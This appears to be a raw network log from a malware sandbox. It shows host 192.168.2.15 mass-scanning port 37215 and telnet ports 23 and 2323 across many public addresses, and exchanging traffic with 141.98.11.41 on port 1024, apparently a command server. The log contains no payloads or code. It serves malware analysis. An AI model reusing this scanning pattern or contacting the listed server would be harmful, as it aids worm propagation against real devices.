Feb 19, 2025 19:48:56.362773895 CET	6405	37215	192.168.2.15	157.25.11.93
Feb 19, 2025 19:48:56.362775087 CET	6405	37215	192.168.2.15	157.215.55.173
Feb 19, 2025 19:48:56.362791061 CET	6405	37215	192.168.2.15	157.15.95.86
Feb 19, 2025 19:48:56.362829924 CET	6405	37215	192.168.2.15	157.6.140.143
Feb 19, 2025 19:48:56.362831116 CET	6405	37215	192.168.2.15	157.140.88.242
Feb 19, 2025 19:48:56.362832069 CET	6405	37215	192.168.2.15	157.100.247.229
Feb 19, 2025 19:48:56.362868071 CET	6405	37215	192.168.2.15	157.14.253.35
Feb 19, 2025 19:48:56.362894058 CET	6405	37215	192.168.2.15	157.90.238.141
Feb 19, 2025 19:48:56.362910032 CET	6405	37215	192.168.2.15	157.18.114.221
Feb 19, 2025 19:48:56.362926006 CET	6405	37215	192.168.2.15	157.164.213.200
Feb 19, 2025 19:48:56.362941980 CET	6405	37215	192.168.2.15	157.44.208.175
Feb 19, 2025 19:48:56.362977982 CET	6405	37215	192.168.2.15	157.248.196.104
Feb 19, 2025 19:48:56.362979889 CET	6405	37215	192.168.2.15	157.51.212.120
Feb 19, 2025 19:48:56.362996101 CET	6405	37215	192.168.2.15	157.73.177.69
Feb 19, 2025 19:48:56.363010883 CET	6405	37215	192.168.2.15	157.75.119.33
Feb 19, 2025 19:48:56.363039970 CET	6405	37215	192.168.2.15	157.142.103.111
Feb 19, 2025 19:48:56.363042116 CET	6405	37215	192.168.2.15	157.99.181.72
Feb 19, 2025 19:48:56.363101006 CET	6405	37215	192.168.2.15	157.206.238.29
Feb 19, 2025 19:48:56.363101959 CET	6405	37215	192.168.2.15	157.216.34.142
Feb 19, 2025 19:48:56.363127947 CET	6405	37215	192.168.2.15	157.198.53.233
Feb 19, 2025 19:48:56.363131046 CET	6405	37215	192.168.2.15	157.40.114.164
Feb 19, 2025 19:48:56.363162041 CET	6405	37215	192.168.2.15	157.180.123.200
Feb 19, 2025 19:48:56.363188028 CET	6405	37215	192.168.2.15	157.227.147.204
Feb 19, 2025 19:48:56.363245964 CET	6405	37215	192.168.2.15	157.31.79.254
Feb 19, 2025 19:48:56.363245964 CET	6405	37215	192.168.2.15	157.182.197.140
Feb 19, 2025 19:48:56.363245964 CET	6405	37215	192.168.2.15	157.250.68.17
Feb 19, 2025 19:48:56.363260984 CET	6405	37215	192.168.2.15	157.150.94.138
Feb 19, 2025 19:48:56.363291025 CET	6405	37215	192.168.2.15	157.44.223.33
Feb 19, 2025 19:48:56.363297939 CET	6405	37215	192.168.2.15	157.33.186.56
Feb 19, 2025 19:48:56.363306046 CET	6405	37215	192.168.2.15	157.44.157.9
Feb 19, 2025 19:48:56.363322973 CET	6405	37215	192.168.2.15	157.206.242.238
Feb 19, 2025 19:48:56.363362074 CET	6405	37215	192.168.2.15	157.52.73.4
Feb 19, 2025 19:48:56.363363028 CET	6405	37215	192.168.2.15	157.24.78.58
Feb 19, 2025 19:48:56.363363028 CET	6405	37215	192.168.2.15	157.199.249.61
Feb 19, 2025 19:48:56.363382101 CET	6405	37215	192.168.2.15	157.102.68.145
Feb 19, 2025 19:48:56.363408089 CET	6405	37215	192.168.2.15	157.247.87.38
Feb 19, 2025 19:48:56.363467932 CET	6405	37215	192.168.2.15	157.188.33.115
Feb 19, 2025 19:48:56.363466978 CET	6405	37215	192.168.2.15	157.37.53.232
Feb 19, 2025 19:48:56.363467932 CET	6405	37215	192.168.2.15	157.191.71.231
Feb 19, 2025 19:48:56.363507986 CET	6405	37215	192.168.2.15	157.250.13.239
Feb 19, 2025 19:48:56.363511086 CET	6405	37215	192.168.2.15	157.184.221.212
Feb 19, 2025 19:48:56.363512039 CET	6405	37215	192.168.2.15	157.235.78.178
Feb 19, 2025 19:48:56.363555908 CET	6405	37215	192.168.2.15	157.241.36.69
Feb 19, 2025 19:48:56.363557100 CET	6405	37215	192.168.2.15	157.86.75.168
Feb 19, 2025 19:48:56.363562107 CET	6405	37215	192.168.2.15	157.186.129.233
Feb 19, 2025 19:48:56.363579988 CET	6405	37215	192.168.2.15	157.100.184.92
Feb 19, 2025 19:48:56.363600969 CET	6405	37215	192.168.2.15	157.47.91.171
Feb 19, 2025 19:48:56.363651991 CET	6405	37215	192.168.2.15	157.147.253.225
Feb 19, 2025 19:48:56.363651991 CET	6405	37215	192.168.2.15	157.116.223.245
Feb 19, 2025 19:48:56.363653898 CET	6405	37215	192.168.2.15	157.229.178.246
Feb 19, 2025 19:48:56.363694906 CET	6405	37215	192.168.2.15	157.240.155.18
Feb 19, 2025 19:48:56.363698006 CET	6405	37215	192.168.2.15	157.237.15.0
Feb 19, 2025 19:48:56.363698959 CET	6405	37215	192.168.2.15	157.20.21.175
Feb 19, 2025 19:48:56.363756895 CET	6405	37215	192.168.2.15	157.4.116.249
Feb 19, 2025 19:48:56.363759995 CET	6405	37215	192.168.2.15	157.0.223.122
Feb 19, 2025 19:48:56.363760948 CET	6405	37215	192.168.2.15	157.140.246.223
Feb 19, 2025 19:48:56.363786936 CET	6405	37215	192.168.2.15	157.126.252.238
Feb 19, 2025 19:48:56.363838911 CET	6405	37215	192.168.2.15	157.57.98.134
Feb 19, 2025 19:48:56.363840103 CET	6405	37215	192.168.2.15	157.12.64.174
Feb 19, 2025 19:48:56.363862038 CET	6405	37215	192.168.2.15	157.120.83.223
Feb 19, 2025 19:48:56.363876104 CET	6405	37215	192.168.2.15	157.155.78.33
Feb 19, 2025 19:48:56.363893032 CET	6405	37215	192.168.2.15	157.152.202.96
Feb 19, 2025 19:48:56.363913059 CET	6405	37215	192.168.2.15	157.116.241.64
Feb 19, 2025 19:48:56.363944054 CET	6405	37215	192.168.2.15	157.105.32.92
Feb 19, 2025 19:48:56.363945961 CET	6405	37215	192.168.2.15	157.89.88.197
Feb 19, 2025 19:48:56.363965988 CET	6405	37215	192.168.2.15	157.111.51.140
Feb 19, 2025 19:48:56.363986969 CET	6405	37215	192.168.2.15	157.216.182.198
Feb 19, 2025 19:48:56.363990068 CET	6405	37215	192.168.2.15	157.181.228.41
Feb 19, 2025 19:48:56.364027977 CET	6405	37215	192.168.2.15	157.110.199.231
Feb 19, 2025 19:48:56.364028931 CET	6405	37215	192.168.2.15	157.7.67.216
Feb 19, 2025 19:48:56.364029884 CET	6405	37215	192.168.2.15	157.55.219.14
Feb 19, 2025 19:48:56.364053011 CET	6405	37215	192.168.2.15	157.140.154.179
Feb 19, 2025 19:48:56.364109993 CET	6405	37215	192.168.2.15	157.170.7.28
Feb 19, 2025 19:48:56.364113092 CET	6405	37215	192.168.2.15	157.119.249.193
Feb 19, 2025 19:48:56.364114046 CET	6405	37215	192.168.2.15	157.63.202.223
Feb 19, 2025 19:48:56.364125967 CET	6405	37215	192.168.2.15	157.68.138.199
Feb 19, 2025 19:48:56.364161968 CET	6405	37215	192.168.2.15	157.143.228.210
Feb 19, 2025 19:48:56.364168882 CET	6405	37215	192.168.2.15	157.216.22.250
Feb 19, 2025 19:48:56.364177942 CET	6405	37215	192.168.2.15	157.187.217.188
Feb 19, 2025 19:48:56.364195108 CET	6405	37215	192.168.2.15	157.48.54.114
Feb 19, 2025 19:48:56.364226103 CET	6405	37215	192.168.2.15	157.104.209.156
Feb 19, 2025 19:48:56.364284992 CET	6405	37215	192.168.2.15	157.216.119.231
Feb 19, 2025 19:48:56.364284992 CET	6405	37215	192.168.2.15	157.228.193.140
Feb 19, 2025 19:48:56.364285946 CET	6405	37215	192.168.2.15	157.88.109.9
Feb 19, 2025 19:48:56.364311934 CET	6405	37215	192.168.2.15	157.15.50.254
Feb 19, 2025 19:48:56.364342928 CET	6405	37215	192.168.2.15	157.156.201.68
Feb 19, 2025 19:48:56.364345074 CET	6405	37215	192.168.2.15	157.10.134.215
Feb 19, 2025 19:48:56.364360094 CET	6405	37215	192.168.2.15	157.120.209.108
Feb 19, 2025 19:48:56.364381075 CET	6405	37215	192.168.2.15	157.52.85.232
Feb 19, 2025 19:48:56.364399910 CET	6405	37215	192.168.2.15	157.3.254.222
Feb 19, 2025 19:48:56.364440918 CET	6405	37215	192.168.2.15	157.65.196.209
Feb 19, 2025 19:48:56.364440918 CET	6405	37215	192.168.2.15	157.38.150.69
Feb 19, 2025 19:48:56.364440918 CET	6405	37215	192.168.2.15	157.132.30.200
Feb 19, 2025 19:48:56.364474058 CET	6405	37215	192.168.2.15	157.0.208.8
Feb 19, 2025 19:48:56.364480972 CET	6405	37215	192.168.2.15	157.79.70.8
Feb 19, 2025 19:48:56.364500999 CET	6405	37215	192.168.2.15	157.97.101.100
Feb 19, 2025 19:48:56.364502907 CET	6405	37215	192.168.2.15	157.245.175.255
Feb 19, 2025 19:48:56.364525080 CET	6405	37215	192.168.2.15	157.146.183.111
Feb 19, 2025 19:48:56.364587069 CET	6405	37215	192.168.2.15	157.193.234.107
Feb 19, 2025 19:48:56.364589930 CET	6405	37215	192.168.2.15	157.162.209.128
Feb 19, 2025 19:48:56.364598036 CET	6405	37215	192.168.2.15	157.113.120.84
Feb 19, 2025 19:48:56.364615917 CET	6405	37215	192.168.2.15	157.219.71.16
Feb 19, 2025 19:48:56.364617109 CET	6405	37215	192.168.2.15	157.243.60.143
Feb 19, 2025 19:48:56.364654064 CET	6405	37215	192.168.2.15	157.124.210.154
Feb 19, 2025 19:48:56.364655018 CET	6405	37215	192.168.2.15	157.19.250.118
Feb 19, 2025 19:48:56.364655018 CET	6405	37215	192.168.2.15	157.236.181.132
Feb 19, 2025 19:48:56.364697933 CET	6405	37215	192.168.2.15	157.41.114.57
Feb 19, 2025 19:48:56.364698887 CET	6405	37215	192.168.2.15	157.210.89.161
Feb 19, 2025 19:48:56.364700079 CET	6405	37215	192.168.2.15	157.84.178.99
Feb 19, 2025 19:48:56.364711046 CET	6405	37215	192.168.2.15	157.3.83.171
Feb 19, 2025 19:48:56.364764929 CET	6405	37215	192.168.2.15	157.217.146.243
Feb 19, 2025 19:48:56.364768028 CET	6405	37215	192.168.2.15	157.71.200.225
Feb 19, 2025 19:48:56.364768028 CET	6405	37215	192.168.2.15	157.194.201.3
Feb 19, 2025 19:48:56.364818096 CET	6405	37215	192.168.2.15	157.115.161.193
Feb 19, 2025 19:48:56.364820957 CET	6405	37215	192.168.2.15	157.1.141.79
Feb 19, 2025 19:48:56.364841938 CET	6405	37215	192.168.2.15	157.239.155.223
Feb 19, 2025 19:48:56.365024090 CET	33950	37215	192.168.2.15	157.46.200.224
Feb 19, 2025 19:48:56.365026951 CET	6405	37215	192.168.2.15	157.236.147.80
Feb 19, 2025 19:48:56.365032911 CET	38392	37215	192.168.2.15	157.188.30.224
Feb 19, 2025 19:48:56.365072012 CET	38112	37215	192.168.2.15	157.230.45.210
Feb 19, 2025 19:48:56.365076065 CET	39632	37215	192.168.2.15	157.54.14.224
Feb 19, 2025 19:48:56.365094900 CET	54070	37215	192.168.2.15	157.89.243.93
Feb 19, 2025 19:48:56.365123987 CET	48910	37215	192.168.2.15	157.7.253.112
Feb 19, 2025 19:48:56.365154982 CET	58342	37215	192.168.2.15	157.22.69.66
Feb 19, 2025 19:48:56.365175009 CET	33298	37215	192.168.2.15	157.170.132.158
Feb 19, 2025 19:48:56.365197897 CET	46344	37215	192.168.2.15	157.98.143.135
Feb 19, 2025 19:48:56.365283012 CET	54288	37215	192.168.2.15	157.83.215.141
Feb 19, 2025 19:48:56.365288973 CET	33532	37215	192.168.2.15	157.6.115.82
Feb 19, 2025 19:48:56.365288019 CET	42402	37215	192.168.2.15	157.205.32.38
Feb 19, 2025 19:48:56.365331888 CET	58100	37215	192.168.2.15	157.183.78.202
Feb 19, 2025 19:48:56.365334034 CET	33168	37215	192.168.2.15	157.243.240.229
Feb 19, 2025 19:48:56.365358114 CET	46216	37215	192.168.2.15	157.189.183.186
Feb 19, 2025 19:48:56.365430117 CET	1024	53398	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:56.365451097 CET	33950	37215	192.168.2.15	157.46.200.224
Feb 19, 2025 19:48:56.365454912 CET	38392	37215	192.168.2.15	157.188.30.224
Feb 19, 2025 19:48:56.365457058 CET	39632	37215	192.168.2.15	157.54.14.224
Feb 19, 2025 19:48:56.365467072 CET	38112	37215	192.168.2.15	157.230.45.210
Feb 19, 2025 19:48:56.365475893 CET	54070	37215	192.168.2.15	157.89.243.93
Feb 19, 2025 19:48:56.365483999 CET	48910	37215	192.168.2.15	157.7.253.112
Feb 19, 2025 19:48:56.365499020 CET	33298	37215	192.168.2.15	157.170.132.158
Feb 19, 2025 19:48:56.365499020 CET	58342	37215	192.168.2.15	157.22.69.66
Feb 19, 2025 19:48:56.365510941 CET	46344	37215	192.168.2.15	157.98.143.135
Feb 19, 2025 19:48:56.365530968 CET	54288	37215	192.168.2.15	157.83.215.141
Feb 19, 2025 19:48:56.365533113 CET	33532	37215	192.168.2.15	157.6.115.82
Feb 19, 2025 19:48:56.365535975 CET	42402	37215	192.168.2.15	157.205.32.38
Feb 19, 2025 19:48:56.365562916 CET	58100	37215	192.168.2.15	157.183.78.202
Feb 19, 2025 19:48:56.365564108 CET	33168	37215	192.168.2.15	157.243.240.229
Feb 19, 2025 19:48:56.365565062 CET	53398	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:56.365565062 CET	46216	37215	192.168.2.15	157.189.183.186
Feb 19, 2025 19:48:56.365748882 CET	37215	56134	157.243.171.191	192.168.2.15
Feb 19, 2025 19:48:56.365827084 CET	56134	37215	192.168.2.15	157.243.171.191
Feb 19, 2025 19:48:56.365926981 CET	39774	37215	192.168.2.15	157.88.204.82
Feb 19, 2025 19:48:56.366592884 CET	52364	37215	192.168.2.15	157.163.156.8
Feb 19, 2025 19:48:56.367264986 CET	46444	37215	192.168.2.15	157.113.58.118
Feb 19, 2025 19:48:56.367937088 CET	51274	37215	192.168.2.15	157.14.161.159
Feb 19, 2025 19:48:56.368624926 CET	56112	37215	192.168.2.15	157.106.43.99
Feb 19, 2025 19:48:56.369271040 CET	44788	37215	192.168.2.15	157.149.169.225
Feb 19, 2025 19:48:56.369930983 CET	59262	37215	192.168.2.15	157.33.248.235
Feb 19, 2025 19:48:56.370023966 CET	37215	33950	157.46.200.224	192.168.2.15
Feb 19, 2025 19:48:56.370076895 CET	37215	38392	157.188.30.224	192.168.2.15
Feb 19, 2025 19:48:56.370090008 CET	37215	38112	157.230.45.210	192.168.2.15
Feb 19, 2025 19:48:56.370215893 CET	37215	39632	157.54.14.224	192.168.2.15
Feb 19, 2025 19:48:56.370225906 CET	37215	54070	157.89.243.93	192.168.2.15
Feb 19, 2025 19:48:56.370328903 CET	37215	48910	157.7.253.112	192.168.2.15
Feb 19, 2025 19:48:56.370373011 CET	37215	33298	157.170.132.158	192.168.2.15
Feb 19, 2025 19:48:56.370465040 CET	37215	46344	157.98.143.135	192.168.2.15
Feb 19, 2025 19:48:56.370476961 CET	37215	58342	157.22.69.66	192.168.2.15
Feb 19, 2025 19:48:56.370511055 CET	37215	54288	157.83.215.141	192.168.2.15
Feb 19, 2025 19:48:56.370521069 CET	37215	33532	157.6.115.82	192.168.2.15
Feb 19, 2025 19:48:56.370588064 CET	37215	42402	157.205.32.38	192.168.2.15
Feb 19, 2025 19:48:56.370598078 CET	37215	58100	157.183.78.202	192.168.2.15
Feb 19, 2025 19:48:56.370611906 CET	44406	37215	192.168.2.15	157.130.81.105
Feb 19, 2025 19:48:56.370630026 CET	37215	33168	157.243.240.229	192.168.2.15
Feb 19, 2025 19:48:56.370640993 CET	37215	46216	157.189.183.186	192.168.2.15
Feb 19, 2025 19:48:56.370987892 CET	1024	53398	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:56.371284962 CET	47688	37215	192.168.2.15	157.110.170.92
Feb 19, 2025 19:48:56.371974945 CET	41796	37215	192.168.2.15	157.87.175.185
Feb 19, 2025 19:48:56.372612953 CET	51184	37215	192.168.2.15	157.253.182.115
Feb 19, 2025 19:48:56.372910023 CET	37215	51274	157.14.161.159	192.168.2.15
Feb 19, 2025 19:48:56.372948885 CET	51274	37215	192.168.2.15	157.14.161.159
Feb 19, 2025 19:48:56.373261929 CET	36346	37215	192.168.2.15	157.237.17.148
Feb 19, 2025 19:48:56.373955965 CET	41120	37215	192.168.2.15	157.105.249.31
Feb 19, 2025 19:48:56.374594927 CET	41250	37215	192.168.2.15	157.193.153.106
Feb 19, 2025 19:48:56.375263929 CET	54728	37215	192.168.2.15	157.174.86.98
Feb 19, 2025 19:48:56.375685930 CET	51274	37215	192.168.2.15	157.14.161.159
Feb 19, 2025 19:48:56.375739098 CET	51274	37215	192.168.2.15	157.14.161.159
Feb 19, 2025 19:48:56.375739098 CET	56134	37215	192.168.2.15	157.243.171.191
Feb 19, 2025 19:48:56.375775099 CET	56134	37215	192.168.2.15	157.243.171.191
Feb 19, 2025 19:48:56.376044035 CET	43486	37215	192.168.2.15	157.136.158.162
Feb 19, 2025 19:48:56.376691103 CET	57512	37215	192.168.2.15	157.169.173.165
Feb 19, 2025 19:48:56.380651951 CET	37215	51274	157.14.161.159	192.168.2.15
Feb 19, 2025 19:48:56.380676031 CET	37215	56134	157.243.171.191	192.168.2.15
Feb 19, 2025 19:48:56.381021023 CET	37215	43486	157.136.158.162	192.168.2.15
Feb 19, 2025 19:48:56.381062984 CET	43486	37215	192.168.2.15	157.136.158.162
Feb 19, 2025 19:48:56.381119967 CET	43486	37215	192.168.2.15	157.136.158.162
Feb 19, 2025 19:48:56.381154060 CET	43486	37215	192.168.2.15	157.136.158.162
Feb 19, 2025 19:48:56.381483078 CET	57108	37215	192.168.2.15	157.134.123.47
Feb 19, 2025 19:48:56.386136055 CET	37215	43486	157.136.158.162	192.168.2.15
Feb 19, 2025 19:48:56.414223909 CET	37215	46216	157.189.183.186	192.168.2.15
Feb 19, 2025 19:48:56.414371967 CET	37215	33168	157.243.240.229	192.168.2.15
Feb 19, 2025 19:48:56.414383888 CET	37215	58100	157.183.78.202	192.168.2.15
Feb 19, 2025 19:48:56.414395094 CET	37215	42402	157.205.32.38	192.168.2.15
Feb 19, 2025 19:48:56.414406061 CET	37215	33532	157.6.115.82	192.168.2.15
Feb 19, 2025 19:48:56.414417028 CET	37215	54288	157.83.215.141	192.168.2.15
Feb 19, 2025 19:48:56.414426088 CET	37215	46344	157.98.143.135	192.168.2.15
Feb 19, 2025 19:48:56.414434910 CET	37215	58342	157.22.69.66	192.168.2.15
Feb 19, 2025 19:48:56.414443970 CET	37215	33298	157.170.132.158	192.168.2.15
Feb 19, 2025 19:48:56.414453983 CET	37215	48910	157.7.253.112	192.168.2.15
Feb 19, 2025 19:48:56.414463997 CET	37215	54070	157.89.243.93	192.168.2.15
Feb 19, 2025 19:48:56.414473057 CET	37215	38112	157.230.45.210	192.168.2.15
Feb 19, 2025 19:48:56.414480925 CET	37215	39632	157.54.14.224	192.168.2.15
Feb 19, 2025 19:48:56.414490938 CET	37215	38392	157.188.30.224	192.168.2.15
Feb 19, 2025 19:48:56.414500952 CET	37215	33950	157.46.200.224	192.168.2.15
Feb 19, 2025 19:48:56.422240973 CET	37215	56134	157.243.171.191	192.168.2.15
Feb 19, 2025 19:48:56.422251940 CET	37215	51274	157.14.161.159	192.168.2.15
Feb 19, 2025 19:48:56.430203915 CET	37215	43486	157.136.158.162	192.168.2.15
Feb 19, 2025 19:48:56.902420998 CET	80	59352	88.34.237.117	192.168.2.15
Feb 19, 2025 19:48:56.902626038 CET	59352	80	192.168.2.15	88.34.237.117
Feb 19, 2025 19:48:56.999748945 CET	9989	2323	192.168.2.15	201.112.9.83
Feb 19, 2025 19:48:56.999749899 CET	9989	23	192.168.2.15	195.78.212.248
Feb 19, 2025 19:48:56.999748945 CET	9989	23	192.168.2.15	166.183.227.101
Feb 19, 2025 19:48:56.999749899 CET	9989	23	192.168.2.15	68.212.59.200
Feb 19, 2025 19:48:56.999748945 CET	9989	23	192.168.2.15	42.81.107.165
Feb 19, 2025 19:48:56.999749899 CET	9989	23	192.168.2.15	89.131.193.40
Feb 19, 2025 19:48:56.999748945 CET	9989	23	192.168.2.15	25.19.54.104
Feb 19, 2025 19:48:56.999749899 CET	9989	23	192.168.2.15	8.27.2.96
Feb 19, 2025 19:48:56.999753952 CET	9989	23	192.168.2.15	211.200.240.192
Feb 19, 2025 19:48:56.999752998 CET	9989	23	192.168.2.15	52.137.11.67
Feb 19, 2025 19:48:56.999753952 CET	9989	23	192.168.2.15	44.136.77.32
Feb 19, 2025 19:48:56.999752998 CET	9989	23	192.168.2.15	93.22.219.112
Feb 19, 2025 19:48:56.999753952 CET	9989	23	192.168.2.15	138.32.123.65
Feb 19, 2025 19:48:56.999754906 CET	9989	23	192.168.2.15	165.186.36.145
Feb 19, 2025 19:48:56.999752998 CET	9989	23	192.168.2.15	111.82.225.230
Feb 19, 2025 19:48:56.999754906 CET	9989	23	192.168.2.15	48.164.150.49
Feb 19, 2025 19:48:56.999753952 CET	9989	23	192.168.2.15	154.135.216.1
Feb 19, 2025 19:48:56.999754906 CET	9989	23	192.168.2.15	202.207.234.5
Feb 19, 2025 19:48:56.999752998 CET	9989	2323	192.168.2.15	77.130.210.19
Feb 19, 2025 19:48:56.999754906 CET	9989	23	192.168.2.15	87.219.250.185
Feb 19, 2025 19:48:56.999757051 CET	9989	23	192.168.2.15	111.195.41.24
Feb 19, 2025 19:48:56.999754906 CET	9989	23	192.168.2.15	78.135.96.148
Feb 19, 2025 19:48:56.999753952 CET	9989	23	192.168.2.15	191.162.86.236
Feb 19, 2025 19:48:56.999754906 CET	9989	23	192.168.2.15	116.188.137.119
Feb 19, 2025 19:48:56.999757051 CET	9989	23	192.168.2.15	118.233.72.89
Feb 19, 2025 19:48:56.999753952 CET	9989	23	192.168.2.15	108.238.103.118
Feb 19, 2025 19:48:56.999757051 CET	9989	23	192.168.2.15	117.88.119.91
Feb 19, 2025 19:48:56.999753952 CET	9989	23	192.168.2.15	187.118.199.85
Feb 19, 2025 19:48:56.999757051 CET	9989	2323	192.168.2.15	163.191.202.183
Feb 19, 2025 19:48:56.999753952 CET	9989	23	192.168.2.15	58.120.71.179
Feb 19, 2025 19:48:56.999757051 CET	9989	23	192.168.2.15	192.189.135.33
Feb 19, 2025 19:48:56.999757051 CET	9989	23	192.168.2.15	181.5.236.189
Feb 19, 2025 19:48:56.999815941 CET	9989	23	192.168.2.15	111.11.241.219
Feb 19, 2025 19:48:56.999821901 CET	9989	23	192.168.2.15	204.123.60.215
Feb 19, 2025 19:48:56.999815941 CET	9989	23	192.168.2.15	76.112.130.152
Feb 19, 2025 19:48:56.999821901 CET	9989	23	192.168.2.15	165.230.46.17
Feb 19, 2025 19:48:56.999815941 CET	9989	23	192.168.2.15	204.200.106.203
Feb 19, 2025 19:48:56.999821901 CET	9989	23	192.168.2.15	87.43.233.110
Feb 19, 2025 19:48:56.999825954 CET	9989	23	192.168.2.15	79.225.35.42
Feb 19, 2025 19:48:56.999821901 CET	9989	2323	192.168.2.15	136.67.6.194
Feb 19, 2025 19:48:56.999825954 CET	9989	23	192.168.2.15	49.243.143.204
Feb 19, 2025 19:48:56.999815941 CET	9989	23	192.168.2.15	187.227.146.212
Feb 19, 2025 19:48:56.999823093 CET	9989	2323	192.168.2.15	140.154.60.34
Feb 19, 2025 19:48:56.999825954 CET	9989	23	192.168.2.15	150.105.233.236
Feb 19, 2025 19:48:56.999815941 CET	9989	23	192.168.2.15	179.202.75.209
Feb 19, 2025 19:48:56.999825954 CET	9989	2323	192.168.2.15	206.14.155.255
Feb 19, 2025 19:48:56.999826908 CET	9989	23	192.168.2.15	106.123.98.212
Feb 19, 2025 19:48:56.999815941 CET	9989	23	192.168.2.15	178.48.211.46
Feb 19, 2025 19:48:56.999826908 CET	9989	23	192.168.2.15	216.114.34.15
Feb 19, 2025 19:48:56.999825954 CET	9989	23	192.168.2.15	99.90.211.169
Feb 19, 2025 19:48:56.999815941 CET	9989	23	192.168.2.15	207.9.210.14
Feb 19, 2025 19:48:56.999826908 CET	9989	23	192.168.2.15	180.43.35.29
Feb 19, 2025 19:48:56.999815941 CET	9989	23	192.168.2.15	114.199.172.130
Feb 19, 2025 19:48:56.999823093 CET	9989	2323	192.168.2.15	197.180.183.205
Feb 19, 2025 19:48:56.999826908 CET	9989	23	192.168.2.15	20.33.1.239
Feb 19, 2025 19:48:56.999823093 CET	9989	23	192.168.2.15	138.71.165.50
Feb 19, 2025 19:48:56.999826908 CET	9989	23	192.168.2.15	115.63.255.29
Feb 19, 2025 19:48:56.999823093 CET	9989	23	192.168.2.15	12.149.28.221
Feb 19, 2025 19:48:56.999841928 CET	9989	23	192.168.2.15	88.121.56.89
Feb 19, 2025 19:48:56.999841928 CET	9989	23	192.168.2.15	178.51.213.169
Feb 19, 2025 19:48:56.999841928 CET	9989	23	192.168.2.15	203.237.170.42
Feb 19, 2025 19:48:56.999841928 CET	9989	23	192.168.2.15	88.136.80.161
Feb 19, 2025 19:48:56.999841928 CET	9989	23	192.168.2.15	131.159.60.181
Feb 19, 2025 19:48:56.999841928 CET	9989	23	192.168.2.15	190.93.206.96
Feb 19, 2025 19:48:56.999841928 CET	9989	23	192.168.2.15	146.3.109.185
Feb 19, 2025 19:48:56.999845028 CET	9989	2323	192.168.2.15	189.151.24.217
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	80.42.121.101
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	85.203.2.54
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	156.250.253.32
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	186.202.46.220
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	45.89.99.202
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	153.52.107.151
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	178.67.73.20
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	103.120.34.75
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	118.100.90.52
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	185.1.152.15
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	9.70.132.232
Feb 19, 2025 19:48:56.999845982 CET	9989	2323	192.168.2.15	27.146.163.49
Feb 19, 2025 19:48:56.999849081 CET	9989	23	192.168.2.15	145.177.112.128
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	103.128.95.2
Feb 19, 2025 19:48:56.999849081 CET	9989	23	192.168.2.15	63.106.200.210
Feb 19, 2025 19:48:56.999845982 CET	9989	23	192.168.2.15	153.130.32.132
Feb 19, 2025 19:48:56.999850035 CET	9989	23	192.168.2.15	52.156.127.59
Feb 19, 2025 19:48:56.999850035 CET	9989	23	192.168.2.15	71.238.207.175
Feb 19, 2025 19:48:56.999850035 CET	9989	23	192.168.2.15	47.157.65.216
Feb 19, 2025 19:48:56.999850035 CET	9989	23	192.168.2.15	199.39.225.220
Feb 19, 2025 19:48:56.999850035 CET	9989	23	192.168.2.15	152.32.117.56
Feb 19, 2025 19:48:56.999871016 CET	9989	23	192.168.2.15	173.107.97.12
Feb 19, 2025 19:48:56.999871016 CET	9989	23	192.168.2.15	27.29.116.156
Feb 19, 2025 19:48:56.999871016 CET	9989	23	192.168.2.15	117.173.156.20
Feb 19, 2025 19:48:56.999871016 CET	9989	23	192.168.2.15	192.253.192.187
Feb 19, 2025 19:48:56.999875069 CET	9989	23	192.168.2.15	180.113.23.214
Feb 19, 2025 19:48:56.999875069 CET	9989	2323	192.168.2.15	123.103.239.183
Feb 19, 2025 19:48:56.999878883 CET	9989	2323	192.168.2.15	43.71.86.35
Feb 19, 2025 19:48:56.999878883 CET	9989	23	192.168.2.15	185.47.90.54
Feb 19, 2025 19:48:56.999878883 CET	9989	23	192.168.2.15	184.135.178.47
Feb 19, 2025 19:48:56.999878883 CET	9989	23	192.168.2.15	191.175.69.224
Feb 19, 2025 19:48:56.999878883 CET	9989	23	192.168.2.15	223.57.49.89
Feb 19, 2025 19:48:56.999878883 CET	9989	23	192.168.2.15	38.178.130.103
Feb 19, 2025 19:48:56.999888897 CET	9989	23	192.168.2.15	168.82.223.90
Feb 19, 2025 19:48:56.999888897 CET	9989	23	192.168.2.15	42.43.129.24
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	42.69.148.198
Feb 19, 2025 19:48:56.999888897 CET	9989	23	192.168.2.15	200.127.163.213
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	167.236.87.239
Feb 19, 2025 19:48:56.999888897 CET	9989	23	192.168.2.15	218.208.211.116
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	131.66.54.22
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	94.193.66.55
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	223.218.220.198
Feb 19, 2025 19:48:56.999891043 CET	9989	23	192.168.2.15	86.135.106.168
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	117.211.130.52
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	171.21.61.188
Feb 19, 2025 19:48:56.999891043 CET	9989	23	192.168.2.15	38.196.232.16
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	195.7.249.184
Feb 19, 2025 19:48:56.999890089 CET	9989	2323	192.168.2.15	97.128.96.98
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	188.104.31.145
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	223.167.180.162
Feb 19, 2025 19:48:56.999890089 CET	9989	23	192.168.2.15	143.228.97.94
